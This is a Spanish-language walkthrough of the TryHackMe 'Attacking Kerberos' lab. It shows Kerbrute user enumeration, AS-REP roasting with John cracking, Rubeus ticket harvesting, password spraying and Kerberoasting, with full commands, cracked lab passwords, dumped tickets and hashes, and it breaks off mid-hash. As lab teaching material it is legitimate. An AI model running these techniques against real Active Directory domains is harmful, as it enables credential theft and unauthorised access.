Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • Introducción al Protocolo de Autenticación Kerberos
  • Kerberos Pre-Authentication Abuse
  • AS-REP Roasting
  • Harvesting Tickets con Rubeus
  • Password-Spraying con Rubeus
  • Kerberoasting con Rubeus e Impacket
  • Primeros pasos en BloodHound
  • AS-REP Roasting con impacket-GetNPUsers y Rubeus
  • Pass the Ticket con mimikatz
  • Golden/Silver Ticket Attack con Mimikatz
  1. Try Hackme

Attacking Kerberos

Last updated 1 hour ago

Antes de comenzar con este recorrido practicó y conocer algunas de las herramientas más importantes para el pentesting de Kerberos y AD, te recomiendo que leas el siguiente artículo para comprender cómo funciona el proceso de autenticación en Kerberos y cuales son sus principales actores dentro del mismo.

Kerberos Pre-Authentication Abuse

Nota: en el módulo nos facilitan el diccionario para este primer escenario y nos aconseja agregar el DC a nuestro archivo /etc/hosts para que las herramientas puedan dirigir mejor los ataques y evitar el problema del virtual host.

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# echo "10.10.52.78    CONTROLLER.local" >> /etc/hosts 

La primer tarea que nos propone este módulo es enumerar usuarios con

El protocolo Kerberos incluye una característica denominada pre autenticación, cuyo propósito es dificultar ataques offline al exigir al usuario cifrar un timestamp con su clave secreta antes de obtener un Ticket Granting Ticket (TGT). Sin embargo, esta misma característica puede ser aprovechada por atacantes para realizar una enumeración silenciosa de usuarios válidos en un dominio, sin necesidad de autenticación previa.

¿Cómo funciona este ataque?

Durante la fase inicial del protocolo Kerberos, el cliente envía un mensaje AS-REQ al Key Distribution Center (KDC) para solicitar un TGT. Si el usuario solicitado no existe, el KDC responde con el error KDC_ERR_C_PRINCIPAL_UNKNOWN. En cambio, si el usuario sí existe y tiene habilitada la pre autenticación, el KDC responde con un error KRB5_PREAUTH_REQUIRED, indicando que espera un timestamp cifrado para proceder con la autenticación. Esta diferencia de comportamiento permite a un atacante distinguir usuarios válidos de inválidos, sin necesidad de conocer contraseñas ni autenticarse en el dominio.

Kerbrute ejecuta una enumeración de nombres de usuario del dominio sin necesidad de credenciales, basándose únicamente en la respuesta del KDC ante solicitudes AS-REQ sin pre autenticación.

El funcionamiento es simple: la herramienta toma una lista de posibles nombres de usuario (wordlist) y envía una solicitud TGT por cada uno. Si el KDC responde con un error PRINCIPAL UNKNOWN, se descarta el nombre; en cambio, si el error recibido es KRB5_PREAUTH_REQUIRED, se confirma la existencia del usuario.

Ejemplo de enumeración de usuarios con Kerbrute:

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/22/25 - Ronnie Flathers @ropnop

2025/05/22 02:21:34 >  Using KDC(s):
2025/05/22 02:21:34 >   CONTROLLER.local:88

2025/05/22 02:21:34 >  [+] VALID USERNAME:       admin1@CONTROLLER.local
2025/05/22 02:21:34 >  [+] admin2 has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$admin2@CONTROLLER.LOCAL:ea626eaea8ed4f0259045b4a67f12523$ff9334bcc6f1ad4c6046f2e0af1abe0822349fa79d263c298b295ba9ca206ed22b3ce4ffc6ecfd2ebed15096c7d3fa132ef08929460e3949ec15d1ef163ba84f44bb43d68f79e0be342dbcaccae5c1de71512def87606282061932f09c462a8f5305bf5e3291fb9beaffecd94521ab67fd4af16dd73ca982384981ea25917a4bdb8b2e8086212d4a9ffc1c3817c7d4fb860202dbfe513cf66449a84aee1eb712c213e7c5d0a2095717ba835b527e4c64b9e2969d6727b605501810220c6650575be9d2e83ff8bea948e4ec43884b1c68cca4da8059ee5416f02b2c78036ba74f853aa5d9b79deeb4048f21184fd7b7384ae3fd1e4839a75ee27c134851406d06140c784b8a675358                                                    
2025/05/22 02:21:34 >  [+] VALID USERNAME:       admin2@CONTROLLER.local
2025/05/22 02:21:34 >  [+] VALID USERNAME:       administrator@CONTROLLER.local
2025/05/22 02:21:36 >  [+] VALID USERNAME:       machine2@CONTROLLER.local
2025/05/22 02:21:36 >  [+] VALID USERNAME:       machine1@CONTROLLER.local
2025/05/22 02:21:36 >  [+] VALID USERNAME:       httpservice@CONTROLLER.local
2025/05/22 02:21:36 >  [+] VALID USERNAME:       sqlservice@CONTROLLER.local
2025/05/22 02:21:36 >  [+] VALID USERNAME:       user2@CONTROLLER.local
2025/05/22 02:21:36 >  [+] VALID USERNAME:       user1@CONTROLLER.local
2025/05/22 02:21:36 >  [+] user3 has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$user3@CONTROLLER.LOCAL:5b7ce24a57bd62840af44b283688d712$e90ed6ed560436648d18c220d1a950ef0b192feadcf5e41b100e71936c435cf86cce6471a85715e0168a4747a8a74e7120b557ad5b7f2959ba618957fb1dddd35bedeb70d6afed2430651843e1fe05f6f9d2af3fb9ae198e223239abe95085c818bca398f84360cb9e89a58f3922650c07b97afc17eb306e6f6e95cd4ecebd97c0b163972a31c29bbd7b2d57648dd386391d050492c8c297b88741124e2ee336ebdc8675a4770daf824457a2ea7ad71580fb84ebe16f59b82f108e385d989fe04803b97c1bae17a6e68b97abf2748e176b76d91528d23283dd920774fc0a51971181f05b994dd4ed8e87de1fe868f5b329464b1a80aceb5e05c4f036585ba84addc1e634083cc220                                                     
2025/05/22 02:21:36 >  [+] VALID USERNAME:       user3@CONTROLLER.local
2025/05/22 02:21:36 >  Done! Tested 100 usernames (10 valid) in 2.234 seconds

AS-REP Roasting

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt --downgrade --hash-file as-rep_hash  

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# john -w=/usr/share/wordlists/rockyou.txt as-rep_hash 
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@$$W0rd2        ($krb5asrep$admin2@CONTROLLER.LOCAL)
Password3        ($krb5asrep$23$user3@CONTROLLER.LOCAL)     
1g 0:00:00:16 DONE (2025-05-22 17:58) 0.05966g/s 855832p/s 864355c/s 864355C/s  0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
📌 Parámetros

Kerbrute

  • userenum: Indica que se desea realizar enumeración de usuarios.

  • --dc CONTROLLER.local: Especifica el nombre del controlador de dominio (Domain Controller). Kerbrute necesita saber a qué KDC conectarse.

  • -d CONTROLLER.local: Define el nombre del dominio Active Directory. Se utiliza internamente para armar las solicitudes Kerberos.

  • User.txt: Es una lista de posibles nombres de usuario. El script enviará solicitudes para cada uno.

  • --downgrade: Realiza un downgrade de la versión del protocolo Kerberos usada en la solicitud. Este parámetro puede ser útil para explotar controladores de dominio más antiguos o evitar ciertas defensas.

  • --hash-file as-rep_hash: Si encuentra usuarios sin preautenticación, guarda los hashes AS-REP en este archivo. Estos hashes pueden ser craqueados offline, similar a hashes de contraseñas.

John The Ripper:

  • john: Invoca el cracker de contraseñas John the Ripper.

  • -w=/usr/share/wordlists/rockyou.txt: Especifica el diccionario de contraseñas que se usará para intentar descifrar los hashes.

  • as-rep_hash: Archivo de entrada que contiene los hashes AS-REP obtenidos con Kerbrute

Harvesting Tickets con Rubeus

📌¿Qué es el ticket harvesting?

El ticket harvesting es una técnica ofensiva que consiste en recopilar tickets Kerberos (como TGTs o tickets de servicio) que están almacenados en la memoria del sistema, generalmente después de que un usuario ha iniciado sesión y autenticado en el dominio. Esta técnica permite a un atacante capturar tickets válidos para su posterior reutilización en ataques como:

  • Pass-the-Ticket (PTT)

  • Overpass-the-Hash

  • Silver/Golden Ticket attacks

Dado que estos tickets contienen tokens de autenticación válidos, pueden ser utilizados para moverse lateralmente, acceder a servicios o elevar privilegios, si el ticket pertenece a una cuenta con más permisos.

Importante: Esta técnica requiere tener acceso administrativo local en el sistema objetivo, ya que los tickets Kerberos están almacenados en memoria protegida (LSASS) o en cachés accesibles sólo por usuarios con privilegios elevados.

📌¿Qué es Rubeus?

Rubeus es una herramienta pos-explotación para entornos Windows Active Directory, escrita en C#, diseñada para interactuar y manipular el protocolo Kerberos. Fue creada por Will Schroeder y forma parte del arsenal habitual de operadores de Red Team.

Entre sus funcionalidades más destacadas se encuentran:

  • Cosecha de tickets (TGT y TGS) desde la memoria del sistema

  • Solicitud de TGTs o TGSs

  • Inyección de tickets (Pass-the-Ticket)

  • Solicitud de tickets sin preautenticación (AS-REP Roasting)

  • Solicitudes de tickets para delegación

  • Cracking y descifrado de hashes Kerberos

¿Qué hace la función harvest en Rubeus?

La función harvest de Rubeus permite recolectar automáticamente todos los tickets Kerberos activos en el sistema donde se ejecuta, extrayéndolos desde la caché del sistema y permitiendo su almacenamiento en archivos .kirbi para reutilizarlos en otros ataques.

Este módulo es útil en escenarios donde:

  • Ya se comprometió un host (por ejemplo, mediante ejecución remota o shell administrativa)

  • Se desea extraer tickets sin interactuar directamente con LSASS

¿Para qué se usan los tickets recolectados?

Los tickets obtenidos con Rubeus pueden ser usados para:

  • Pass-the-Ticket: inyectar un ticket en otro proceso o máquina y suplantar la identidad del usuario original.

  • Reconocimiento de privilegios: al revisar los atributos del ticket (SID, grupos, PAC), puede determinarse si es una cuenta privilegiada.

  • Movimientos laterales: usando tickets para acceder a recursos de red o autenticarse en otros sistemas sin necesidad de contraseñas.

La segunda tarea que se nos propone es recolectar tickets Kerberos del equipo objetivo. Para hacer esto nos dan acceso al equipo por RDP con las siguientes credenciales:

Nombre de usuario: Administrador Contraseña: P@$$W0rd Domain: controller.local

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# rdesktop -u Administrator -p 'P@$$W0rd' -d controller.local 10.10.52.78
Autoselecting keyboard map 'en-us' from locale

ATTENTION! The server uses and invalid security certificate which can not be trusted for
the following identified reasons(s);

El equipo objetivo ya tiene instalado Rubeus para que podamos realizar el ataque desde la cmd sin tener que cargar el binario al equipo previamente.

C:\Users\Administrator\Downloads>dir
 Volume in drive C has no label.
 Volume Serial Number is E203-08FF

 Directory of C:\Users\Administrator\Downloads

05/25/2020  03:45 PM    <DIR>          .
05/25/2020  03:45 PM    <DIR>          ..
05/25/2020  03:45 PM         1,263,880 mimikatz.exe
05/25/2020  03:14 PM           212,480 Rubeus.exe
               2 File(s)      1,476,360 bytes
               2 Dir(s)  50,877,915,136 bytes free

C:\Users\Administrator\Downloads>Rubeus.exe harvest /interval:30

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: TGT Harvesting (with auto-renewal)
[*] Monitoring every 30 seconds for new TGTs
[*] Displaying the working TGT cache every 30 seconds


[*] Refreshing TGT ticket cache (5/22/2025 5:07:29 PM)

  User                  :  CONTROLLER-1$@CONTROLLER.LOCAL
  StartTime             :  5/22/2025 4:30:34 PM
  EndTime               :  5/23/2025 2:30:34 AM
  RenewTill             :  5/29/2025 4:30:34 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :

    doIFhDCCBYCgAwIBBaEDAgEWooIEeDCCBHRhggRwMIIEbKADAgEFoRIbEENPTlRST0xMRVIuTE9DQUyiJTAjoAMCAQKhHDAaGwZr
    cmJ0Z3QbEENPTlRST0xMRVIuTE9DQUyjggQoMIIEJKADAgESoQMCAQKiggQWBIIEElN7hbD0ykHru+AdFPRGIaECM5MKTFqEK+il
    ItuiIK/dwMOGehS+SC4M6jS1ytdM6KiXg6XjpZbBa6hipkGiHeLBtIz+KMPCVoppCqEGBOcHFey9QlobRjzl6PS+NtmSkAeYseSJ
    wHy++rYsFwt7oIbZLDefzMaTfVUkITB9fkxPPhnyJr9K/hcNoCcZiT2NlpmTWkGyjeGdLU2ILo3FzTV1FPzaV66kUfmOc/FhMmVX
    yZ/x6ol+FGSb7piK5ggxlzNvkKeC/QqGep4PoXhCQvaw5h5CmvdQGAvFb9Y9jMBbd5lkVJ5uhfWoNAhwNb431ZH+Y22wgoYYVzZ1
    dfu7ooaPFj+tv1IKUbi7WOI8I1rD17OP+c8xF5k5W2CQzKBNSc92bbUBjqvQsmWddSzSjB/pd8s6L+vvBl6uevjpi3/9BR7hTbOW
    98HeD8CFY9Wic3BdNLfTeoI0ZOhme39JgwSiXWRxzPVakOdSfunIlqt324e1g3skFbl+7CVkfm/2aUOqP6qpSEd/uBmAHXPZLoaM
    b7c2GIePf8gSzXyaxu7XD8igkgBchrFT8HdkGhwbeie7bNAZ/X2NcJtZcsQfalW+/YfLO7SOeWRU+/BLUWnDpNiQG2vdbdK+GlOq
    GmVlUcg0Kg0zZ/i0mGzHJK80lhGBLIiFu7oqju0nVe5dKQ+pBblqc3SEYEQsFXl1PktWl9Tc31WRe6m8KfcefpdH4y3lcGESjjpi
    t6KzKJY3zEEz1smjEy79NkljoQGnuLw05zKoupv/dTIVNFD88ZHzrMOHGsnu9eKgYSM4AJBL56E58wJupzfASDkKMOdghanF95T4
    59bsOC863BSfHD7k1IeLIIsuiKwzqMaQWc8S6iZuGvpPrdtJyR/UkO+KDPDIgOpE2NxcTnsU8DB+R0oZH/p5/W4Qr0zSAlZKlTwY
    R3gObJ3GPyehpCHiezanPSa78dIGIfgHmu5qWazQ0CQ27C/b2h2kuu1Vz2sUUV8BBt+jYui9pBVUxGSJEEwcbsLYE5gjBUb7UJAB
    t3wuZ6qDnqKbYgguxYinWSdaiw486FumS7EEW/Tc+2xjprQtdN109/nT/LXFmEgRdd+t9UQ1JryavWhD3ZVS1YBVaUzL5fpv2gXm
    6dSt0Ai/rIALULx0/3EPh4ms86DBnM8Imu3mYaHrtAeeq9muUSt5hiHVArtVDhEY7z2cxFSuiMK6t6aiIsO8lQ/lOwyQSFrrAxfZ
    tpfhSnR/h3me91dyIBc06Mu4qA+k8xIRf6kHbZ7j9p3sSOubulu182qQBXN0FoNOBkCszoPqUqarsmMdlhtDd1etzl9Q5331bIMu
    eQXyciJqWYH9lzKCBlY+ZniAm7xTADL+LpjUfuXZLjdqlAcbJ8lJMLejgfcwgfSgAwIBAKKB7ASB6X2B5jCB46CB4DCB3TCB2qAr
    MCmgAwIBEqEiBCDpAlNnp1WHTrh+1I8U2PS2k2xaysaSzgKwQQ37IfYuZqESGxBDT05UUk9MTEVSLkxPQ0FMohowGKADAgEBoREw
    DxsNQ09OVFJPTExFUi0xJKMHAwUAQOEAAKURGA8yMDI1MDUyMjIzMzAzNFqmERgPMjAyNTA1MjMwOTMwMzRapxEYDzIwMjUwNTI5
    MjMzMDM0WqgSGxBDT05UUk9MTEVSLkxPQ0FMqSUwI6ADAgECoRwwGhsGa3JidGd0GxBDT05UUk9MTEVSLkxPQ0FM

  User                  :  Administrator@CONTROLLER.LOCAL
  StartTime             :  5/22/2025 5:04:07 PM
  EndTime               :  5/23/2025 3:04:07 AM
  RenewTill             :  5/29/2025 5:04:07 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :

    doIFjDCCBYigAwIBBaEDAgEWooIEgDCCBHxhggR4MIIEdKADAgEFoRIbEENPTlRST0xMRVIuTE9DQUyiJTAjoAMCAQKhHDAaGwZr
    cmJ0Z3QbEENPTlRST0xMRVIuTE9DQUyjggQwMIIELKADAgESoQMCAQKiggQeBIIEGph4NNSiB0LV3Rogo7bSOQVEJUdWWU6IQk0Z
    4Bay4+sIooX84+6xc9UNgY3DV0EYYrFq3LVRW0fBYdUH1IWNZBaEk6Y7luRbTF42/7soGkGD9qx6k9clc2aTp6VGzOktFzXkl0Aj
    7dhBXyszlXH04VvZEylEkMF1PMKVYCw9oi7wLbZpylFnLZxFiYq7O+Z5y8DipLzDhal7tHz6u6ZtrjlpTSyduC5tqjwa9nTtq5KD
    qQQNpyGouF4VpBje3DzRSNjK9logbcyIPrHPDXYu0BhuErxrlYYenGT0INSzG+ydGfJsxcivy5lsGxxi5cLZk15foBcPgcr4FuZD
    ev+upJh2gUllfKTBqtoALkKRg2r9ZGSW4KX29beSkFeu9UM5rZbBqUH0tk9XWOpg/FvvASKOG2aCv6v+FoVzsZAvoOABMOLdEhmf
    ZuVKQ10YIL3qqKWKKOggW8jZ7DxFQlbfclsBiB3RMaZrCSwkfySky0vOwqUhtINEi6DJSUJ7NtmskATAP5Gu8Pm5+fWv83I9iZDu
    Jvup/cwSoLnbsF6sO7LPBUH1sZw3ScBa2wWjvJa4uZJ1rl4nHKTCJGsLxyMafYwptwvnp6tJefQd3vj3m82yQugycuJMlJ8nb7gN
    vIJHAYGicdEiqVgkyjWHcUtQXIsWPBKD5oZS3/5m37c2n/nJEmxyDmkQ1ztiGEUV0mraD6HoboqEOawLKOTl7o5+HuyPs1nCS/gP
    fkaqgjgK4n/xmllXQkch7oRGGAw6oxZoU59sQY323CMgScLvbfbRWiniD2FxQHqqZj3Z2HnkmURnuLfXYcp/ltuXs9/hOmiEzIBU
    /L3cpT9GoKsxefboSOYIlmgFG67uNnJhV6ZMd9aynndQLqEcKgW+DibGx0fSxMOWF5262JsZVUT5o7rQSFTKSxbLfvuI3gmZYinG
    iWvT9877rPs9K/cxw3XbtpwIJ2xDVmr6dRmgKjG50TEZJmnofMF4zjCc88c01GrtSasyjXWIKVWXsWzr2aOMiDR0sA2flpQUuUGk
    bSkPIBVQ/6uX8yzcsTZ9X7qPictv68oEcu63kDhCaOdhFtF9U8EpeE2iRMumAF2WunnnbatRNoSakBfkEyeVXrIFTL9hC9WLzqE/
    LFtJ1zrhh+pIjvF0guph1/d6klDit1cce2yzkWe6fL35wEOWM0WiIUstpw13owC0hEmsydhpG+VPxWtJZrRqR9YfAeOFwDKCUAkC
    L7NF/J1lpL6DSKcjBO2ZG5bzGaueUOIbpePoawAYxH0LfN+QpjthoFQIMPHi+pR0wF8ugYnFq3zXBg+eSVWVjQx8qfAMb2SRhAgZ
    oKC/psft0UgqdH9Vqc42VqFkoMjwyFH9twemOG2wGubIDAUn00HJSkkJrg551uNkG6OB9zCB9KADAgEAooHsBIHpfYHmMIHjoIHg
    MIHdMIHaoCswKaADAgESoSIEIGYjszrO/qNDkE+9oj8UIQpwTwBPCbhIy6VgUHJwmJu9oRIbEENPTlRST0xMRVIuTE9DQUyiGjAY
    oAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBA4QAApREYDzIwMjUwNTIzMDAwNDA3WqYRGA8yMDI1MDUyMzEwMDQwN1qnERgP
    MjAyNTA1MzAwMDA0MDdaqBIbEENPTlRST0xMRVIuTE9DQUypJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEENPTlRST0xMRVIuTE9DQUw=

[*] Ticket cache size: 3
[*] Sleeping until 5/22/2025 5:07:59 PM (30 seconds) for next display

Y de esta forma obtuvimos el TGT de los usuarios CONTROLLER-1$@CONTROLLER.LOCAL y Administrator@CONTROLLER.LOCAL

¿Qué se puede y que no se puede hacer con un TGT?

  • No podés crackearlo como si fuera un hash de Kerberos RC4-HMAC.

  • No podés extraer la contraseña directamente del ticket porque desconocemos cual es la clave del KDC.

  • No sirve para bruteforce porque nunca sabremos si lo que se descifró es correcto (no hay contenido predecible).

  • Se podría intentar un Pass-the-Ticket

Password-Spraying con Rubeus

📌¿Qué es Password Spraying?

El password spraying es una técnica de ataque que consiste en probar una sola contraseña común contra muchos usuarios del dominio, en lugar de probar muchas contraseñas contra un solo usuario (fuerza bruta tradicional). Esto es útil para evadir políticas de bloqueo de cuentas, ya que se mantiene por debajo del umbral de intentos fallidos por usuario. Con esta técnica intentaremos descubrir credenciales válidas sin activar defensas como el account lockout y obtener un TGT válido que pueda usarse en ataques Kerberos (Pass-the-Ticket, Kerberoasting, etc).

Lo primero que vamos a hacer es agregar el nombre de dominio al /etc/hosts del equipo windows para que Rubeus lo resuelva correctamente. Luego usaremos la contraseña que obtuvimos con John para encontrar el usuario al que pertenece.

C:\Users\Administrator\Downloads>echo 10.10.52.78 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts

C:\Users\Administrator\Downloads>Rubeus.exe brute /password:Password3 /noticket

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => krbtgt
[+] STUPENDOUS => User3:Password3
[*] base64(User3.kirbi):

      doIFPDCCBTigAwIBBaEDAgEWooIEODCCBDRhggQwMIIELKADAgEFoRIbEENPTlRST0xMRVIuTE9DQUyi
      JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEENPTlRST0xMRVIubG9jYWyjggPoMIID5KADAgESoQMCAQKiggPW
      BIID0m8cIfIvnRwAXaVrRzOj/AtOZ2hr4Hckh6VXs1oufP7m1RwUE5QKQiEwFJOL0MXLiVKEl/W9k188
      YMU728/0njmpnf8SqopPgH5zyYR6fkOQWDWLQqFWaFt+yZ72JjG2g6uB/peYCFbfTqwvu4vV2mrNQuqi
      zvqBJD/kr4K5Z19VdXrqm7ILzsGX2bNQMu3A4xh5a0hyNYBKPGbRBGMFh0Y2PDzXYF1wF3KkW5LwVyFG
      yfASfeWzOlBA+OvR1Kz7/urEE1LMdbDYQWDxbSG5wobZS9mnyUlkye1++n4Jasm1g9K9UZ2Qx5sKCRp8
      /V+UyQaKkni/3b71/4zpYuK+aeEv85OFUO5qPM+/c5tCZ+y4byCzeoXC4vN3CMu2oJ2K5lP7EUvgy8l1
      LfKuwgOEY7OaThHKVCJE3322w0PX+gjPrWU+vJ3r3XMnjE3N8Zdw9/eQ/T0MaOwltcQPIgVhEsy3ZYFh
      gfe++wjVDxIzfS+g1W3FZdz7VZQmS98QoCp7OpBBtiesZ/4wmjje840AtNYdjo6JQ/Jw+FT+FIpQpN38
      Ti/z34LV0QKUHlLsKHojQKQ7jxTprlzRmjH/S9k44uMcvNokg3RlCfVo+0I8vLdpPRdWW8Q1o0ASccfO
      eCbbsHDhZsN2X1dghOm3ervyIymIZFcgsfDP3YWGU6GdUgShRnv8abjb+HVycQYqh+E+kZqYKkQWlNf6
      qoPNDqM32iaOzpgWDy+KQo89GzWK0e08Qkq/hf6rnmdcZ51ZhhqTfIDNRzigji1S8VrBVsNFXeChoQHs
      CFuayihtioi46srDVYVZoebwEQp4o4JOPxXOEQihIA4qTQ6A053PsGpXg7sXebDNdX2h3K5ErukPM2mx
      IGK49YRMK2S67GJ5QiA7NPnftGB3SXYu/ZrSgyC8NJSDbT8QpHOmlMIvANVkQlnS6GOQtAKE00bXNp/3
      3SXRIe0ZM4/Kk7poFMhmQIFdhL7EBarvhYaXWFziuPnjfNByU/J3bbMFlkvDrh30gc6WM6UgvaL4OiLU
      hJms/re4AWYbZ4tmdX8FISe/EuyXtsZDNhczsQkSFJJ5MT6AhypeBReoG/eDqarnfxtjhA9ZgWst/XWn
      aIhUmrbuQnf1grdlq90lEZ9oFxwnuABX5c+poFrD8hI8mQeVEFmNn/TfrWplB1IyRYKeM/EH+KSunNmF
      9QSeBv1I0n5SbC88vkSKMwLVeG7lW980b4wTthAkT7sf1FtV0+wP+sVVPl9+Lss+vWMQYAhvkCBh/rSe
      SMtPZ84Wo9gvuxUpqM4V4l1wCUg/baOB7zCB7KADAgEAooHkBIHhfYHeMIHboIHYMIHVMIHSoCswKaAD
      AgESoSIEID4gD183AFZEdbe03RiOIUkOolWGA5uhOO+D0BrIyB3GoRIbEENPTlRST0xMRVIuTE9DQUyi
      EjAQoAMCAQGhCTAHGwVVc2VyM6MHAwUAQOEAAKURGA8yMDI1MDUyMzAzMjMyNlqmERgPMjAyNTA1MjMx
      MzIzMjZapxEYDzIwMjUwNTMwMDMyMzI2WqgSGxBDT05UUk9MTEVSLkxPQ0FMqSUwI6ADAgECoRwwGhsG
      a3JidGd0GxBDT05UUk9MTEVSLmxvY2Fs

[+] Done

Y así encontramos el usuario que hace el match con la contraseña User3:Password3

Kerberoasting con Rubeus e Impacket

Tarea 4: Kerberoasting es una técnica de post-explotación en entornos Active Directory que permite a un atacante, con credenciales válidas de cualquier usuario del dominio, extraer tickets de servicio Kerberos (TGS) asociados a cuentas con Service Principal Names (SPN). Esta técnica aprovecha el hecho de que, en Kerberos, los tickets TGS son cifrados por el controlador de dominio utilizando la clave secreta del servicio objetivo, que en el caso de Active Directory corresponde al hash NTLM de la contraseña de la cuenta de servicio. Un atacante autenticado puede solicitar estos tickets sin necesidad de interactuar directamente con el servicio, capturarlos y guardarlos para su posterior análisis.

La viabilidad del ataque radica en que el contenido cifrado del TGS tiene una estructura predecible, lo que permite realizar ataques de diccionario o fuerza bruta de manera offline. Si la contraseña asociada a la cuenta de servicio es débil o predecible, es posible descifrar el ticket y obtener la contraseña en texto claro, sin generar alertas en el dominio.

Si ya estamos dentro del equipo windows, la primer forma de obtener estos hashes desde cmd es con Rubeus de la siguiente forma:

C:\Users\Administrator\Downloads>Rubeus.exe kerberoast

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Searching the current domain for Kerberoastable users

[*] Total kerberoastable users : 2


[*] SamAccountName         : SQLService
[*] DistinguishedName      : CN=SQLService,CN=Users,DC=CONTROLLER,DC=local
[*] ServicePrincipalName   : CONTROLLER-1/SQLService.CONTROLLER.local:30111
[*] PwdLastSet             : 5/25/2020 10:28:26 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*SQLService$CONTROLLER.local$CONTROLLER-1/SQLService.CONTROLLER.loca
                             l:30111*$61690B3E79CF6410113258BE39F81E64$94274F0EBD55CECD6B1197D63C57818225B7FB
                             C612AA61B029B8B55FDD48EC6BE7FD0ADCC5E2DA718CAD4F2093453A400E1160B8472DCF4A113A5F
                             3B0926D619980B0C6E2B15491E9C4EDCE8870138E5A1B7C7703C03E09304F7A01F94EEBE55F954BC
                             86208953EA60CF1B604511FD0AA2E980E49E17B358100ECD7C1B6A5B741F7C38B8105A71472A0A93
                             B8CD8EED24674C2C94A88CB04086FF23540B40A28B8974FCDE829E2EE39F504B519DB21FDC1A6B66
                             4A501F616876E4C782508A6AD8436B67B43B0C15F2E85A7FE701FBF81211D84A239A1826C3602754
                             C8FA6D239FA1D6BAA2314AAB9CA28160627DB2AD6D832EAA6D55D680B22AFD644AA2483260D4BEA6
                             47E7EFED9E2BA3EDE22299A43D63011F34327CAE5A216720AEBD52F20346041E95FF7BAEE89D87EF
                             5C34F6CA12F2314C735206AFB830A6AF7C64E72E9C6F00F1BA4ED6BE5336117B18119FCBEAC68250
                             C93B543D66C986BE825569006B40E0AE3C2DDD1E5B00BBB08B26D3C606E573BBC6D073C93427534A
                             D2DDB1505BEC1E90F01CCD8F35FD5072F5F5A64DE59987D55FF2F6777635C1501B62B27BBFF60BB6
                             433AF7CB0843AC411B768F9B839736496B86B71E873862B48F1C02AEE608C9059AA100D4EDC5B9C6
                             57ABE42FB05FBF0814009DA37779B8C433AAB6C6C32BBC300AE113C7AE7B9F928360313A42FBAE06
                             20861D8E63735377C0B0523F15EEDCCED21BADCB73A544BBCA064AF45C9FDF25738144ADE4BA6D55
                             B73F25BEEB03D57E08EFE4B11CC8A97F5E1F672DD80CDE5EDE8273582C541D3AA3F872C025F924C2
                             C3F234F591D07640D02748321036FC494C69ACB8C782BEB108360D1BFD534AF82CAB622FF8878A29
                             F69923F45F78EF9B44A05D9262DC309FA70C006B6BAC3C457D16EB8A1C7DEF48E3632EFFCBCE0D86
                             9365CEDBB3299FDEFD1DE915105339A4E026EF76CE2B5793DE8C31D5ECF9E034DB630C2D1F8CFB4E
                             0274F58E5721690EEBCE21A6B6D9EF019B5750F6BBF7F15B758643A44423DD4CCD190A272C55E4CD
